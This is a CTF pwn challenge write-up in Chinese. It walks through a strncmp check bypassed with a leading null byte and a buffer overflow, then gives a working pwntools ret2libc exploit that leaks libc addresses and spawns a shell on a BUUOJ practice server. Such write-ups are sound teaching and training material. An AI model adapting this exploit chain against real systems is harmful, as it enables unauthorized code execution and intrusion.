32位程序,主要是绕过的关键一步

    1. int __cdecl sub_804871F(int a1)
    2. {
    3. size_t v1; // eax@1
    4. char s; // [sp+Ch] [bp-4Ch]@1
    5. char buf[7]; // [sp+2Ch] [bp-2Ch]@1
    6. unsigned __int8 v5; // [sp+33h] [bp-25h]@2
    7. int v6; // [sp+4Ch] [bp-Ch]@1
    8. memset(&s, 0, 0x20u);
    9. memset(buf, 0, 0x20u);
    10. sprintf(&s, "%ld", a1);
    11. v6 = read(0, buf, 0x20u);
    12. buf[v6 - 1] = 0;
    13. v1 = strlen(buf);
    14. if ( strncmp(buf, &s, v1) )
    15. exit(0);
    16. write(1, "Correct\n", 8u);
    17. return v5;
    1. strlen()
    2. 函数原型:size_t strlen ( const char * str );
    3. 函数功能:
    4. 返回C字符串str的长度。
    5. C字符串的长度由终止的空字符确定:C字符串的长度与字符串开头和终止的空字符之间的字符数一样长(不包括终止的空字符本身)。
    6. strncmp()
    7. 函数原型:int strncmp ( const char * str1, const char * str2, size_t num );
    8. 函数功能:
    9. 比较两个字符串的字符,比较C字符串str1num字符和C字符串str2num字符。
    10. 这个函数开始比较每个字符串的第一个字符。如果它们彼此相等,则继续执行以下操作,
    11. 直到字符不同为止,直到到达一个终止的空字符,或者直到两个字符串中的num字符匹配为止(以先发生的情况为准)。
    12. string1 > string2 return 1
    13. string1 = string2 return 0
    14. string1 < string2 return -1

    read以 \n 结束
    strlen以 \x00 结束
    image.png
    v1 变成0,返回0不会退出程序
    之后返回一个参数给下一个函数,把值覆盖为最大 \xff 使下一个函数可以溢出
    image.png

    1. from pwn import *
    2. from LibcSearcher import *
    3. content = 0
    4. context(os='linux', arch='x86', log_level='debug')
    5. elf = ELF("pwn")
    6. main_addr = 0x08048825
    7. write_plt = elf.plt["write"]
    8. write_got = elf.got["write"]
    9. def correct():
    10. payload = b'\x00\x00\x00\x00' + b'\xff\xff\xff\xff'
    11. peiqi.sendline(payload)
    12. peiqi.recvuntil("Correct\n")
    13. def main():
    14. global peiqi
    15. if content == 1:
    16. peiqi = process("pwn")
    17. else:
    18. peiqi = remote("node3.buuoj.cn",28691)
    19. correct()
    20. payload = b'a' * (0xe7 + 4)
    21. payload = payload + p32(write_plt) + p32(main_addr)
    22. payload = payload + p32(1) + p32(write_got) + p32(0x8)
    23. peiqi.sendline(payload)
    24. write_addr = u32(peiqi.recv(4))
    25. log.success("write_addr :" + str(hex(write_addr)))
    26. libc = LibcSearcher('write', write_addr)
    27. libc_base = write_addr - libc.dump('write')
    28. system_addr = libc_base + libc.dump("system")
    29. bin_sh_addr = libc_base + libc.dump("str_bin_sh")
    30. correct()
    31. payload = b'a' * (0xe7 + 4)
    32. payload = payload + p32(system_addr) + p32(1) + p32(bin_sh_addr)
    33. peiqi.sendline(payload)
    34. peiqi.interactive()
    35. main()

    image.png